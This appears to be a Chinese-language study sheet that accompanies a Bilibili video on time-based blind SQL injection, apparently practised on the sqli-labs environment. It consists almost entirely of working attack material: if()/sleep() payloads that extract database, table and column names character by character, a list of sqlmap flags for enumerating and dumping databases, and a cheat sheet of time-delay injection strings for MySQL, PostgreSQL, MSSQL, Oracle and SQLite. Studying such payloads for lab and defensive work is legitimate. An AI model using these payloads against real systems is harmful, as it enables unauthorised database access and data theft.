视频地址
https://www.bilibili.com/video/bv1EG41157bM
本期视频所用到的
时间盲注:
?id=1' and if(length(database())=8,sleep(5),1) --+
\\猜测数据库名是否为8,当然我们也可以巧用<,>.而非=
\\至于字母及其他符号,可以参考ASCII将其转化为数字
?id=1' and if(substr(database(),1,1)='a',sleep(5),1) --+
\\猜测库名的第一个字母
\\至于字母及其他符号,可以参考ASCII将其转化为数字进行判断
?id=1' and if(substr((select table_name from information_schema.tables
where table_schema='security' limit 0,1),1,1)='a',sleep(5),1) --+
\\猜测第一张表的表名的第一个字符
?id=1' and if(substr((select column_name from
information_schema.columns where table_schema='security'
and table_name='users' limit 0,1),1,1)='a',sleep(5),1) --+
\\猜测第一个字段名的第一个字符
sqlmap参数:
-u \\\指定链接
--technique B \\\指定基于Boolean的盲注
--technique T \\\指定基于时间的盲注
--dbs \\\显示所有数据库名称
--batch \\\自动化处理
--tables \\\枚举DBMS数据库中的表
--columns \\\枚举DBMS数据库表列
-D \\\要进行枚举的指定数据库名
-T \\\要进行枚举的指定表名
-C \\\要进行枚举的指定列名
--tables \\\枚举DBMS数据库中的表
--columns \\\枚举DBMS数据库表列
--dump \\\转储数据库表项,查询字段值
盲注测试
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))